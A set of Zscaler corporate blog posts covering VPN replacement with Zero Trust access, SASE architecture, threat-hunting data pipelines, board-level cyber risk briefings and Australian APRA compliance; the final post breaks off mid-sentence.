Blog

50% of the Fortune 500 Replaced Their VPN with Zscaler. What’s Holding Back the Rest?

Joby Menon (SVP, Product Management | Zscaler) — Tue, 10 Nov 2026 18:13:28 GMT

50% of the Fortune 500 Replaced Their VPN with Zscaler. What’s Holding Back the Rest?Every internet exposed IP address and open port on your network is an invitation to attackers, and Frontier AI is empowering the attackers to move faster than the enterprises can respond. Traditional VPN architectures, burdened with discoverable IP addresses and open inbound entry points, are rapidly turning into security liabilities in today's sophisticated threat ecosystem.Frontier AI has accelerated the speed and scale of attacks, giving threat actors the ability to scan vulnerabilities, identify exploit paths, and move laterally faster than a security team can patch systems. According to Zscaler ThreatLabz 2026 VPN Risk Report, 79% of organizations say the greatest AI-driven risk is attackers weaponizing vulnerabilities faster, while 70% report limited or no visibility into AI-enabled threats traversing their VPN connections. Inside the Castle-and-Moat: Let’s Examine VPN's Gateway ModelTraditional VPN architecture relies on a gateway model characterized by the following:DMZ placement: VPN gateways are positioned in the DMZ with public, DNS-published IP addresses that must be discoverable to enable connection.Inbound connections: Remote users initiate inbound connections to the gateway, requiring perimeter firewalls to keep inbound ports open to these public IP addresses.Network placement after authentication: Upon successful authentication, the VPN gateway assigns a virtual IP address and provisions network routes, placing the user directly onto the internal network/subnet.This architecture inherently expands the attack surface because the gateway must accept unsolicited inbound traffic from the public internet, making it easily discoverable to attackers. Consequently, a single unpatched gateway can expose the largely flat internal network, providing a primary entry path exploited in major VPN-gateway CVEs and enterprise breaches. Image 1: VPN architecture with gateways in the DMZ The rules of the game have changed, and legacy solutions were never built to play it. That's why 50% of the Fortune 500 didn't wait to adopt Zscaler. They eliminated exposed networks entirely by moving to Zscaler Private Access, and closed the front door that attackers had been targeting for years. Hiding applications to eliminate internet exposure is one of four powerful Zero Trust capabilities that Zscaler Private Access customers use to stop AI-powered attacks: Hide, Segment, Shield, and Deceive.Image 2: ZPA hides, segments, shields, and deceives threats in the AI Era So What’s Holding Back Other Enterprises Globally from Adopting Zscaler Zero Trust?What holds organizations back isn't technical limitations, but inertia—specifically, the fear of the unknown. Enterprise teams often worry about complex network re-architecting, whether legacy applications will work seamlessly in a Zero Trust model, and the operational risks if critical workflows break during the transition.50% of the Fortune 500 have already done it, so other enterprises can too. Zscaler recently added several capabilities in the Zero Trust Exchange platform to make this transformation as simple and painless as possible.Zscaler simplifies your Zero Trust transformation: Lift and shift effortlessly and adopt Zero Trust at your own paceJust like half of the Fortune 500, organizations can immediately transition to Zscaler Zero Trust for rapid risk reduction. For teams preferring a flexible pace, Zscaler ZPA offers enhanced features that guarantee 100% application compatibility throughout your gradual rollout.By executing a true lift-and-shift migration, you can onboard ZPA with near-zero operational disruption while maintaining full routing control and continuous application access.Phase 1 - Replace the VPN Gateway with "VPN for Legacy Apps"Enterprises can fully retire their VPN gateway and replace it with Zscaler's VPN for Legacy Apps, without rewriting access policies. Most importantly, the routing policies remain CIDR-based and security policy carries over unchanged. This is unique to ZPA for the following reasons. Specialized Network Connector: A virtual instance deployed in the data center replaces the VPN gateway, establishing an outbound-only tunnel to the Zero Trust Exchange so no inbound ports are ever opened and the internal network stays hidden from the internet. Bi-directional Support: For server-initiated traffic and real (non-NATed) IP binding, VPN for legacy apps keeps legacy protocols like VoIP, SCCM, and active FTP working seamlessly. These are precisely the traffic patterns that often force enterprises to maintain a full-tunnel VPN.The result is a like-for-like operational swap with a zero-trust architecture underneath, setting up the enterprise to selectively migrate crown-jewel apps onto full ZPA when they’re ready.Image 3: VPN for legacy apps replaces VPN gateways To deliver a lift-and-shift migration, Zscaler recently introduced key innovations, including user group-based access controls, wildcard FQDN support, static user IP assignments, micro-tenancy, and BGP route summarization.Phase 2 - Selectively Onboard Applications onto ZPAMigration isn't like a light switch. The Network Connector and App Connector work concurrently, allowing applications to be migrated incrementally:Move your crown-jewels to ZPA: Apps first move to standard ZPA App Connectors, where each application is defined as a discrete ZPA Application Segment with its own “per-app” policy. This enables true least-privilege and user-to-app access instead of network-level reachability.Server-initiated / server-to-client traffic stays on VPN for Legacy Apps: Standard ZPA App Connectors only support inside-out, user-initiated connections (user → app). Protocols requiring the server to initiate contact back to the client like VoIP signaling (SIP/H.323), SCCM pushes, and Active FTP's server-initiated data channels need the Network Connector's bi-directional tunneling and real IP binding. These stay on "VPN for Legacy Apps" by design, not as a temporary workaround.Both connector types can coexist on the same network segment, pointing at the same Zero Trust Exchange, so enterprises can migrate application-by-application instead of a single high stakes swap. Migration becomes incremental work instead of an obstacle blocking organizations from retiring legacy VPN gateways.Image 4: Transformation to ZPA to protect all applications Phase 3 - ZPA Takes Over and Automates Policy Creation Including App Segmentation PoliciesThe final phase eliminates manual overhead entirely by automating the process with Autonomous User-to-App Segmentation. Application discovery, segmentation, and policy creation operate seamlessly in the background without requiring human intervention.ZPA stands apart from other Zero Trust solutions because it automatically breaks down broad wildcard segments (such as *.company.com) into granular, least-privilege policies for individual applications (e.g., crm.company.com and confluence.company.com). Eliminating the need for tedious manual application mapping, ZPA delivers the following key capabilities:Discovery: Passively analyzing wildcard segment traffic (FQDNs, ports, and protocols), the AI engine identifies unmanaged applications. It can also integrate data from ServiceNow CMDB, Qualys, or Tenable to enhance initial discovery.Clustering: Using co-occurrence modeling, the system aggregates frequently co-accessed applications into unified logical segments. Meanwhile, domain-similarity heuristics isolate dev, staging, and production environments.Prioritization: Adaptive App Ranking evaluates clusters using domain structures, IP dependencies, and traffic volume, highlighting policies with the biggest blast radius.Policy generation: By mapping discovered application traffic to identity groups and real user access paths, the engine formulates targeted least-privilege policies (e.g., granting the Finance team access to only 5 designated apps) instead of broad subnet permissions. Each policy comes with a calculated attack-surface reduction metric and can be deployed with a single click.Continuous refinement: After deployment, the App Segmentation Insights dashboard proactively highlights new, idle, or overly broad segments.Image 5: Autonomous User-to-App segmentation eliminates lateral threat movement With Hide and Segment already in place, ZPA gives customers two additional defenses purpose-built for today's frontier AI-driven threats:Shield - Protect apps that must stay reachable. Autonomous Application Shield, built into the App Connector, scans which apps are actually running vulnerable software, blocks access and applies virtual patches inline.Deceive - Place realistic, high-fidelity Deception decoys and planted lure credentials directly along the paths an attacker would explore. A Simplified Path to Zero TrustTogether, this phased approach transforms your security landscape smoothly, turning your VPN to Zero Trust transition into a low-friction, continuous journey with zero workflow disruption.To help your IT team achieve a seamless migration and maintain a strong security posture, we strongly emphasize these three strategic phases as recommended best practices.Swap your VPN gateway with Zscaler’s "VPN for Legacy Apps" with no re-architecture while instantly eliminating the internet-facing attack surfaceMove your crown-jewel applications to ZPA at your own pace, coexisting with legacy VPN, so server-initiated applications (VoIP, SCCM) operate with zero downtime. Enable Autonomous User-to-App Segmentation to continuously discover, classify, and generate application policies on its own, turning coarse wildcard access into least-privilege, per-app zero trust without weeks of manual policy configuration. The result is a seamless transformation that happens entirely at your preferred pace without operational disruption - users remain fully productive, applications remain operational, and your attack surface continually shrinks.To start your transformation, refer to the Zscaler best practices for migrating from VPN to ZPA and take advantage of our latest innovations listed in What’s new in Zscaler SSE.

Zscaler’s New HQ: Igniting the Next Chapter of Our Culture

Brendan Castle (Chief People Officer) — Tue, 10 Nov 2026 16:24:30 GMT

Opening our new headquarters in Santa Clara, California is a milestone worth celebrating. Not just because of the building itself, but because of what it represents: almost two decades of sustained growth, a team that has stayed committed to a mission that genuinely matters, and a culture that has scaled alongside the company.Designed With PurposeInvesting in our people means investing in the spaces where they can do their best work. Our new headquarters was designed to create meaningful experiences for everyone who walks through our doors, inspire collaboration, fuel innovation, and connect our people to our culture.While we know innovation and collaboration come from everywhere, our physical hubs are designed to accelerate it. Every detail of our new campus was built to enable our people to do our best work. We created spaces that make it easy for the right teams to get together at the right moment, offering spaces for focused, heads-down thinking alongside open areas where ideas develop through conversation. My personal favorite: the in-between spaces where some of the best exchanges happen. Culture Doesn't Scale by AccidentA headquarters is only as meaningful as the people and culture it houses. And culture at Zscaler has never been accidental. It has been built deliberately through how we hire, how we innovate with AI, how we recognize great work, and how we show up for each other.What makes me most excited about this next chapter isn't just the space. It's the teams that will fill it and bring our culture to life. Our Ways of Working give us a shared language for how we operate and that clarity is what allows a global team to move fast, stay aligned, and do their best work whether they're collaborating across time zones or gathering together at HQ.Igniting the Next ChapterWhen Jay founded Zscaler in 2007, the vision was clear: secure the world's digital transformation. Today we're protecting some of the world's most critical organizations and growing a global team that continues to advance our mission every day. And what’s made that possible is the team behind it and the people who show up for each other, stay committed to the mission, and keep innovating for our customers.This headquarters is a physical representation of how far we've traveled from those early days, but more importantly, it provides the foundation for where we go next - as we ignite the next chapter of our growth, our culture, and our impact.

Zscaler Surpasses $1 Billion in Total Contract Value through Microsoft Marketplace, Marking New Phase of Partnership

Denver McKelheer (Director of Microsoft Cloud Alliance) — Tue, 10 Nov 2026 16:00:12 GMT

Zscaler Surpasses $1 Billion in Total Contract Value through Microsoft Marketplace, Marking New Phase of PartnershipEnterprise cybersecurity buying has changed. Organizations are no longer choosing platforms based only on technical strength. They are also prioritizing how solutions are purchased, deployed, and scaled within the cloud and commercial models they already use.That shift is especially clear in zero trust and AI-powered cybersecurity. These are strategic initiatives involving security, IT, cloud, procurement, finance, and executive teams. Customers want faster deployment, simpler procurement, alignment with cloud commitments, and flexibility to work through trusted partners. That is why this milestone matters: Zscaler has surpassed $1 billion lifetime total contract value (TCV) through Microsoft Marketplace.This is more than a revenue milestone. It reflects how enterprise buying is evolving: organizations are increasingly purchasing through cloud-aligned, partner-inclusive models that are easier to scale, and choosing Zscaler as their trusted platform to modernize cybersecurity. Cybersecurity Buying Has Entered a New PhaseZero trust has become foundational in a cloud-first world. At the same time, AI creates both opportunity and risk, increasing the need for stronger data protection, access control, and secure new workflows.Customers want purchasing models that match the importance of these investments. They want to move faster from evaluation to implementation, simplify approvals and billing, and align purchases with broader cloud strategies.Cloud marketplaces are increasingly meeting that need. Crossing $1 billion in TCV through Microsoft Marketplace is clear evidence that this buying model is now established at enterprise scale. A Strategic Partnership Driving Enterprise Momentum“Security leaders want to move faster without adding complexity. Zscaler's milestone shows what happens when strong zero trust innovation meets a simpler way to buy and deploy through Microsoft Marketplace. We're proud to partner with Zscaler to help customers turn their cloud commitments into secure, AI-ready outcomes.” Edwin Vargas, Managing Director of AI Business Solutions and Security at MicrosoftThis milestone also reflects the growing strategic importance of the Zscaler-Microsoft partnership in the enterprise market.The strength of this partnership is not limited to a marketplace transaction. It is built on the combination of deep technology integration and a joint go-to-market motion that helps customers move faster. As enterprises modernize security, networking, and cloud operations, they increasingly want solutions that fit naturally into their existing Microsoft environments while also addressing complex zero trust and data protection requirements. Zscaler and Microsoft are meeting that need together.The partnership has become especially important in large enterprise opportunities, where customers are looking for more than standalone products. They want confidence that their security architecture, cloud strategy, and procurement path are aligned. They want integrated solutions that work across their environments, and they want a coordinated sales motion that brings together the right executive, technical, and partner stakeholders to accelerate outcomes.That combination - strategic integration, commercial alignment, and joint customer engagement - has made the Zscaler-Microsoft relationship increasingly critical to winning in the enterprise space. What Comes Next for Enterprise Security ProcurementSurpassing $1 billion TCV through Microsoft Marketplace is an important milestone for Zscaler, but it also reflects a broader shift in how enterprises evaluate, procure, and scale strategic security technologies.Customers will increasingly expect security providers to meet them where they want to buy, align with cloud economics, and support trusted partner relationships. They will also favor providers that combine strong platforms with strategic ecosystem partnerships.The next phase of enterprise cybersecurity growth will be shaped not only by stronger platforms, but by better buying models and stronger strategic partnerships.Zscaler is proud of this milestone and grateful to the customers, partners, and Microsoft teams who have helped make it possible.Want to learn more about the Zscaler-Microsoft partnership? Please set up some time to meet with the Zscaler team at Microsoft Ignite Nov. 17–20, 2026, at the Moscone Center in San Francisco. Denver McKelheer Director of Microsoft Cloud Alliances dmckelheeer@zscaler.com

How SASE Vendors Design Their Solution - Part 1: The Pillars of SASE Architecture

Julian Weinberger (Principal Sales Engineer) — Mon, 09 Nov 2026 22:00:09 GMT

The Foundation of a Modern Security Cloud: True Multi-tenancyThe promise of the Secure Access Service Edge (SASE) is to deliver a converged, high-performance security and networking stack from the cloud. The architectural decisions made by a vendor are the most critical factor in delivering on this promise. At the core of a purpose-built SASE platform lies a multi-tenant cloud architecture. This isn't simply about hosting virtual machines in the cloud; it's about building a service from the ground up where a single, unified software stack serves all tenants simultaneously.This design is inherently efficient. Resources are shared, updates are seamless across the entire platform, and the service can scale dynamically to meet demand without the need to spin up dedicated virtual appliances for each customer or for each discrete security function. The real magic, however, happens in the data plane. The Good: Single-Scan Multi-Action (SSMA) EnginesThe most elegant and efficient SASE designs employ a Single-Scan Multi-Action (SSMA) engine. Imagine your data packets flowing into the security cloud. With SSMA, that stream of data is inspected in memory, in a single pass. As that single inspection occurs, the engine can apply all security policies at once: Secure Web Gateway (SWG), Cloud Access Security Broker (CASB), Data Loss Prevention (DLP), and threat prevention.This single-pass approach is the architectural lynchpin for performance. Because the data is not written to disk or duplicated for different security services, latency is minimized. The processing overhead is drastically reduced, allowing the platform to handle enormous volumes of traffic, even with full SSL/TLS decryption enabled, without a noticeable impact on user experience. This is the "good" design—an integrated, high-throughput data plane built for the scale of the modern enterprise. The Bad and The Ugly: Service Chaining and Virtual Appliance OverheadNot all SASE solutions are created equal. Many legacy SASE providers, often evolving from disparate product lines, have resorted to "stitching" together their services in the cloud. This approach, known as service chaining, is the architectural opposite of SSMA.In this model, each security function—firewall, DLP, sandboxing—runs as a separate virtual machine (VM) or container. To apply a full security stack, a user's traffic must be passed sequentially from one virtual appliance to the next. Some vendors even use outdated protocols like the Internet Content Adaptation Protocol (ICAP) to redirect traffic between services.This design is fundamentally inefficient and creates a host of problems:Increased Latency: Each "hop" between virtual appliances adds latency. Packets are often duplicated, decrypted, and re-encrypted multiple times, compounding the performance penalty.Operational Complexity: Managing a chain of virtual appliances is complex. Each component has its own resource limits, potential points of failure, and management overhead. Scaling the solution requires scaling each individual VM, leading to a clumsy and inefficient use of cloud resources.Throughput Bottlenecks: The overall throughput of the system is limited by the slowest link in the service chain. Full SSL decryption, a computationally expensive task, becomes a significant bottleneck when it has to be performed by multiple, separate engines.This stitched-together approach is the "ugly" secret of many first-generation cloud security vendors. It’s a relic of the on-premises world, ported to the cloud without a fundamental redesign. Architectural Trade-offs at a GlanceThe choice between these two architectures represents a critical trade-off. While service chaining may have allowed vendors to get to market quickly by repurposing existing products, it sacrifices the performance, scalability, and operational simplicity that are the hallmarks of a true SASE platform.CapabilityTrue SASE (SSMA)Stitched SASE (Service Chaining)Inspection ModelSingle-pass, inline memory inspectionMulti-pass, sequential VM/container hopsPerformanceMinimal latency; high throughputHigh latency due to packet copies and multiple hopsScalabilityElastic and efficient; scales as a unified serviceClunky and inefficient; scales per virtual applianceOperational OverheadLow; single policy engine and unified managementHigh; managing and troubleshooting a chain of servicesSSL/TLS DecryptionDecrypt-once, inspect-manyMultiple decryption/re-encryption cyclesUltimately, the architectural foundation of a SASE vendor's solution dictates its ability to deliver security without compromise. A true SASE architecture is purpose-built for the cloud, while a stitched one is merely cloud-hosted.

High-Fidelity Threat Hunting Starts with Your Data Pipeline

Michael Wylie (Zscaler) — Mon, 09 Nov 2026 20:58:25 GMT

SANS recently released its 2026 Threat Hunting Survey, and for the first time in the report's eleven-year history, respondents did not cite “lack of skilled staff” as the primary barrier to threat hunting success. The biggest challenge now? The timeless and complex problem of data. Half the surveyed organizations are struggling to give their hunters the appropriate data quality or volume to be effective.Here at Zscaler, we've built and scaled threat hunting services across thousands of endpoints, identities, network transactions, and cloud resources — we've had to solve this data problem ourselves. The answer doesn’t come in the form of a specific tool. It comes when you treat your data pipeline as a first-class engineering discipline, giving it the same rigor you would to the skills and expertise of hunting itself. We'll walk through how we've solved specific data challenges, so your hunters can spend less time troubleshooting and more time hunting at scale. Telemetry Firehoses and Blind Spots: Dialing in VisibilityHaving enough data is necessary but not sufficient for effective hunting. Vendors have made strides in closing traditional visibility gaps—for example, EDR captures the command line telemetry that native Windows logging leaves disabled—but as the SANS survey highlights, blind spots in cloud and identity still plague teams. On the other end of the spectrum, high-volume, rich telemetry can be overwhelming to hunt through without sufficient filtering and enrichment.Teams have to actively engineer solutions for both missing data and data overload. Filtering noise to get to signalLet’s first look at the high-volume side of the spectrum, since at Zscaler we know it well, given our Zero Trust Exchange processes 750 billion transactions every day. Network proxy logs are rich but notoriously noisy, making too much volume a primary challenge. As we built our threat hunting service to analyze this data for Zscaler customers, we were confronted with a stark reality: you cannot dump all that telemetry into a SIEM, or costs will explode. Here, our threat hunting team has a unique advantage: infrastructure that does detection on our network data directly, but that solves just the first challenge. You also need the right data at the right time, and important details can be hidden in different places. You can’t just export CSVs and query them manually, or you won’t have the speed needed to catch threats early in the attack chain. To make this volume of data actionable, you need to programmatically enrich the relevant information with the exact context a hunter needs to understand activity quickly and ask further questions.Consider a hunt involving a connection to GitHub. If you see telemetry showing an endpoint navigating to a GitHub repository or GitHub Pages, how do you know if it’s legitimate developer activity vs. an employee tricked into downloading a malicious script? It’s extremely difficult to tell if a repo is malicious or not, since threat actors can keep creating new ones or masking a repo’s purpose. Raw telemetry alone won't tell you, because the activity blends in perfectly as a trusted source, and you can’t rely on verifying against a list of known bad repos, because they’ll never be complete.Rather than relying on allow or deny lists, which have to be maintained, we automatically pull deep repository-level context to enrich the raw URL. Because a standard URL doesn't show reputation, our backend automation programmatically scrapes the repository's metadata. Does the repo have a README file? How many contributors, watchers, forks, and stars does it have? By evaluating these signals, we can differentiate a major open-source library from a brand-new, zero-star repository stood up potentially by an adversary, turning thousands of noisy alerts into a tiny handful of suspicious anomalies. From there, we pull the surrounding five minutes of logs to build the narrative. In a recent campaign, looking at the context of other communications is what allowed our hunters to connect the dots. The raw telemetry showed a connection to a GitHub Page, but the enriched timeline revealed that immediately prior, the endpoint had visited a newly modified, Cloudflare-proxied domain. By automatically pairing the proxy's URL metadata with the endpoint's temporal log sequence, we were able to see the redirect chain in its entirety. Either of those communication steps, in isolation, would have looked like a routine developer connection – seeing them together revealed they were the final step in a malicious redirect sequence.SANS-highlighted Blind Spots – How to Close those GapsThe two most cited data blind spots in the SANS report are cloud and identity logs, infrastructures that often lack default logging configurations useful for security teams. Because our customers depend on us to hunt across those domains, we dedicate resources to engineering the data pipelines required to make them viable.MFA fatigue is a good example of why that engineering work matters. Raw sign-in logs alone won't surface when an attacker is triggering endless MFA challenges, pressuring the user to approve access just to stop the barrage of alerts. To see what’s happening, you have to chain together a rapid succession of denied push events immediately followed by a successful session start. In Okta, that means correlating a spike of user.mfa.okta_verify.deny_push events with a subsequent user.session.start for the same user within a tight time window. That detection logic doesn't exist by default. It has to be deliberately built, and the underlying log source has to be flowing reliably before any of these detections will work.The same principle applies on the cloud side. LLMjacking—where attackers abuse compromised cloud credentials to run inference workloads at the victim's expense—won't appear in standard alerting. Catching it requires querying GCP Cloud Audit Logs for sudden, high-volume spikes in API calls to services like aiplatform.googleapis.com originating from IPs outside your normal geographic baseline. Again, that logic has to be engineered, and the log source has to be configured to capture that data in the first place. Setting the Standard: Normalizing Data Across VendorsOnce you temper noisy data sources and illuminate your blind spots, you run into the next major hurdle identified in the SANS report: "normalization and standards."Even if your organization is actively consolidating its security stack around a platform vendor, all enterprises will have heterogeneous systems across the full IT landscape. Our team lives this reality daily, since we hunt across multiple EDR platforms, cloud providers, and identity systems simultaneously.The challenge of working with all this third-party data is that every vendor has its own nuances, APIs, and data structures. One EDR might log a critical field as process_command_line, while another simply calls it command_line. One vendor might heavily nest its JSON payloads, while another frequently updates its APIs, quietly unmapping critical fields. If your threat hunters have to manually translate their hypothesis into five different syntaxes for five different tools, the hunt fails to scale.To illustrate how disparate telemetry can be, consider how the three major cloud providers log the exact same conceptual data. If a hunter wants to find "Who did what, from where?" manually, they have to map three entirely different schemas that may also have similar fields, as laid out in the following table.Conceptual FieldAWS CloudTrailAzure Activity LogsGCP Cloud Audit LogsWho did it? (User/Identity)userIdentityInitiatedBy.user, InitiatedBy.appprotoPayload.authenticationInfo.principalSubjectWhat did they do? (Action/Event)eventName, eventoperationName, TargetResources[0].typeprotoPayload.methodName, operation:object When? UTC!eventTimeActivityDateTimetimestamp, receiveTimestampWhere did they do it from? (Source IP)aws_iam, sourceIPAddressipAddressprotoPayload.requestMetadata.callerIpWhat did they target? (Resource)resources.ARNTargetResourcesresourceName (or protoPayload.resourceName) To hunt efficiently, you have to decouple the hunter from the underlying vendor syntax. Our approach is to normalize messy, disparate data on the fly using a vendor-agnostic translation layer. We’ve built tools in-house that enable hunters to use a consistent query language that automatically translates their hunt into the native APIs of the respective EDR, identity, or cloud platform.Furthermore, instead of forcing hunters to export and parse massive, flat CSV files, we load this normalized telemetry into structured, high-performance databases. This approach allows our team to run true relational log analysis using standard SQL. A hunter writes one consistent query, and the backend infrastructure handles the heavy lifting of mapping the fields, navigating the nested JSON, and returning unified results – regardless of which EDR, IDP, or cloud platform a customer is using. Minding the Plumbing: Treating Pipeline Monitoring as a Core Hunting FunctionNo one gets into threat hunting to troubleshoot broken data pipelines. You want your analysts tracking down advanced adversaries, not spending hours figuring out that a query is returning zero results because a third-party vendor updated an API or table schemas overnight.But as we scaled our own hunting operations, we quickly learned that normalizing your telemetry isn't a "set and forget" exercise. Because organizations rarely own all of their telemetry sources natively, pipelines are inherently volatile. Data formats evolve, and critical fields get unmapped without warning. You have to know your data flows well enough to understand exactly why a telemetry stream suddenly drops by 20 percent. Is it just a holiday weekend? Did a vendor roll out an undocumented change? Or is an adversary actively blocking telemetry at the firewall to blind your SOC?If your threat hunters are the ones forced to pause their work and investigate telemetry drop-offs, they aren't hunting. We solved this bottleneck by decoupling the data maintenance from the actual hunt. By dedicating engineering resources specifically to monitoring connector health and pipeline integrity, we ensure data quality doesn't degrade. The best normalized queries in the world will quietly miss malicious activity if the underlying data stops flowing, so we built our operation around the reality that pipeline monitoring is just as critical as the hunt itself. Seeing the Full Picture: Executing Cross-Domain Hunts at ScaleIn threat hunting, domain silos are a serious challenge. For example, a single log showing a user browsing to a suspicious IP address doesn't mean much on its own. But if you can see that the user browsed to that IP, executed an unknown binary, and suddenly began authenticating to cloud resources from a new geographic location—that sequence suddenly becomes very interesting.The problem is that if your environment is at all heterogenous, cross-domain correlation is very difficult by default. How do you efficiently correlate an Okta identity event with a Microsoft Defender for Endpoint alert, when the systems share no primary key? Historically, analysts have had to manually pull data from both systems, throw it into a table, and attempt to pivot across them. This manual approach doesn’t work if your goal is to catch fast-moving, sophisticated threats quickly. You want to reach a state where a hunter can execute one query that simultaneously hits endpoint, identity, cloud, and network telemetry—where a single query spans all domains and vendors. That’s why Zscaler is transitioning to using our Data Fabric for Security for threat hunting. The Data Fabric fuses first- and third-party telemetry into a single accessible layer – with deduplication, normalization, correlation, and enrichment – to build a security context graph. This correlated view will enable hunters to quickly trace an adversary's full path across network, endpoint, and cloud, regardless of the specific vendor data sources for any customer. You Can Overcome Your Data ChallengesSolving your data problem will unlock your team's full capability, as even the most skilled hunters can't surface what the pipeline doesn't deliver. Data quality and the skills shortage—the two top challenges in the SANS survey—are actually less distinct problems than they seem. We’ll be talking more about tackling the skills issues in the next post in this series.If you'd like to learn more about the top threats we're seeing so far in 2026 and how our hunting teams can operate as an extension of yours, tune into our upcoming webinar: 2026 Threat Trends: What 1,000s of MDR Investigations and Threat Hunts Reveal

Critical Vulnerabilities Are Now Outrunning Enterprise Response

Rob Sloan (VP, Cybersecurity Advocacy) — Sat, 07 Nov 2026 02:04:25 GMT

Board-level cyber risks requiring oversight: critical vulnerabilities are accumulating faster than many enterprises can safely absorb, cyber-physical attacks are reaching refrigeration systems, insider risk is extending beyond digital monitoring, and AI-enabled offensive tooling is lowering the barrier to serious attacks. Critical Vulnerabilities Are Now Outrunning Enterprise ResponseOctober delivered a clear warning for boards: the pace of critical vulnerability discovery is rising faster than many enterprises can safely absorb. Two critical flaws in a widely used web application technology, identified with the aid of advanced AI research, exposed internet-facing servers to unauthenticated remote code execution. Emergency patches followed, but exploitation was already underway, suggesting attackers had likely found the flaws independently rather than simply reverse-engineering the fix.That was not an isolated signal. In the same month, major vendors disclosed extraordinary volumes of security issues, including a record-breaking Microsoft update cycle. Microsoft patched more than 1,400 vulnerabilities in a single release, exceeding the total number it fixed in all of 2025.The broader issue is that the exposure environment is becoming more volatile while many organizations still rely on patching programs built for a slower era. AI-assisted vulnerability research is increasing the speed at which flaws are discovered and operationalized, compressing the window between discovery and attack. Boards should test whether management has the asset visibility, prioritization discipline, segmentation, and compensating controls to operate safely when patching cannot happen fast enough. A Zero Trust approach can materially reduce internet-facing exposure by placing applications behind controlled access rather than leaving them openly reachable, giving attackers fewer direct opportunities to exploit newly discovered flaws. The risk is not just more vulnerabilities, but a more persistent mismatch between the speed of exposure and the speed of enterprise response.What Directors Should Ask Management:What is our timeline for advancing Zero Trust controls to reduce our internet-facing attack surface?How is management adapting to the rising volume of critical patches, and what does that mean for security staffing, operating strain, and residual risk?What compensating controls do we rely on when patching cannot be completed fast enough? When Cyber Risk Becomes Physical LossRecent attacks involving industrial refrigeration systems highlighted a gap many organizations still underestimate: operational technology is now a direct cyber risk issue, not a peripheral engineering concern. In France, attackers reportedly manipulated refrigeration controls at hundreds of supermarkets, causing inventory loss, equipment damage, and significant financial consequences. CISA and the FBI warn that industrial refrigeration and cold-chain monitoring systems are being targeted globally, and urge organizations to review joint guidance, close security gaps, and implement mitigations to reduce operational risk.Systems that cool, heat, move, manufacture, and sustain physical operations can now be used to cause immediate business disruption in the real world. For boards, the issue is not just whether these environments are secure, but whether they are governed with the same rigor as core enterprise systems. That means understanding which connected assets matter most, where outdated or unsupported technologies remain in place, and whether management has built enough resilience into operations that a cyber event in one environment does not cascade into broader business disruption.What Directors Should Ask Management:Which operational technology environments could cause material business disruption if compromised, and do we have the visibility and controls to detect and contain abnormal activity quickly? The Insider Threat Is No Longer Just DigitalThe arrest of an OpenAI engineer on charges tied to covert recording devices in an executive meeting room is a reminder that insider risk can combine physical access, strategic intent, and geopolitical sensitivity. U.S. officials framed the matter as a counterintelligence and national security concern, underscoring that traditional digital monitoring alone may not detect the full spectrum of insider threat activity.The relevance extends well beyond one company or one alleged actor. Organizations with valuable intellectual property, sensitive strategy, government ties, or geopolitical significance should not assume insider risk begins and ends with unusual downloads or suspicious login behavior. Boards should press management on whether insider threat programs account for physical surveillance, privileged workplace access, foreign-linked risk, and coordination across security, HR, legal, and facilities. If those functions operate in isolation, warning signs may be missed until the exposure is already serious.What Directors Should Ask ManagementDoes our insider risk program cover physical surveillance and misuse of in-building access, not just digital exfiltration? AI Agents Are Compressing the Cost of AttackReports that a suspected lone operator used AI-enabled offensive tooling to compromise multiple South Korean banks should be read as a warning about how quickly the economics of cyberattack are changing. Tasks that once required a skilled team, including reconnaissance, exploitation, and data handling, can increasingly be accelerated by open-source and commercial AI tools. Attackers can move faster, and specialized expertise is becoming less of a barrier to serious attacks.Many security strategies still assume an attacker model constrained by human limits such as time, team size, and expertise. AI weakens those assumptions. Management must recalibrate detection, response, identity controls, and resilience planning for adversaries operating with greater speed, lower cost, and less skill. That makes architectural discipline more important than ever. A Zero Trust model can reduce attack surface, limit lateral movement, and lower the volume of incidents the organization must absorb as AI expands the pool of capable attackers.What Directors Should Ask Management:Are our detection and response capabilities designed for machine-speed attack patterns rather than traditional human-paced intrusions? Zscaler is a proud partner of NACD's Northern California chapter. We are here as a resource for directors to answer questions about cybersecurity or AI risks, and are happy to arrange dedicated board briefings. Please email rsloan[@]zscaler.com to learn more.

Strengthening Operational Resilience and Security for APRA CPS 230 and CPS 234

Thomas Ferguson (Senior Sales Engineer) — Fri, 06 Nov 2026 17:01:29 GMT

For Australian financial institutions, meeting APRA expectations now means proving resilience in a world of cloud services, third-party dependencies and persistent cyber threats, as well as satisfying compliance requirements. Prudential Standards CPS 230 and CPS 234 raise the bar for both operational continuity and information security, pushing organisations to modernise how they protect critical services, data and users.The timelines make the point. CPS 234 has been in force since July 2019. CPS 230 has applied since 1 July 2025, and the transition period for pre-existing service provider arrangements ended on 1 July 2026. Both standards are now fully in effect, and for most institutions the question has moved from how the framework is designed to whether the evidence holds up.What we are hearing from financial institutions is that the regulatory burden goes well beyond adding more controls. The challenge is proving resilience across a much more complex operating environment. With growing dependence on cloud services, third parties and distributed users, many teams are finding that traditional approaches make it harder to meet rising regulatory expectations efficiently. Understanding the MandatesWhile CPS 230 and CPS 234 address different areas, together they reinforce a common expectation: financial institutions must be able to protect critical assets and continue operating during disruption.CPS 230: Operational Risk ManagementFocuses on resilience, business continuity and third-party risk. Institutions must identify critical operations, define disruption tolerances and maintain service continuity during severe events. APRA names the operations it expects to be treated as critical at a minimum: payments, deposit-taking, custody, settlements and clearing for banks; claims processing for insurers; investment management and fund administration for superannuation trustees. Each needs Board-approved tolerance levels, a credible business continuity plan tested against severe but plausible scenarios, and a register of material service providers. A material operational risk incident must be notified to APRA within 72 hours, and a disruption to a critical operation outside tolerance within 24 hours.CPS 234: Information SecurityFocuses on safeguarding information assets through effective security controls, testing, governance and incident response. The Board is ultimately responsible for information security, controls must be proportionate to the sensitivity and criticality of each asset, and their effectiveness must be tested systematically. Material incidents must be notified to APRA within 72 hours, and material control weaknesses that cannot be remediated promptly within 10 business days. An incident reported under CPS 234 does not need to be reported again under CPS 230. How Zscaler Helps Regulated Entities ComplyTo support these security and resilience mandates, the Zscaler Zero Trust Exchange™ provides a cloud-native architecture that eliminates implicit trust. Operating as a globally distributed service, it enforces strict, identity-based, least-privilege access and performs continuous inline inspection across the internet, SaaS and private applications.Because every connection is brokered and inspected, every policy decision is also logged: who accessed what, which threat was blocked, which configuration changed. That telemetry, exported to your SIEM or GRC platform, is the evidence base that both standards, and your auditors, ask for.Governance, risk appetite and regulatory reporting remain the responsibility of the regulated entity. Zscaler provides the architectural enforcement and technical controls that support APRA-regulated entities in meeting their obligations.How Zscaler Supports CPS 230Improve 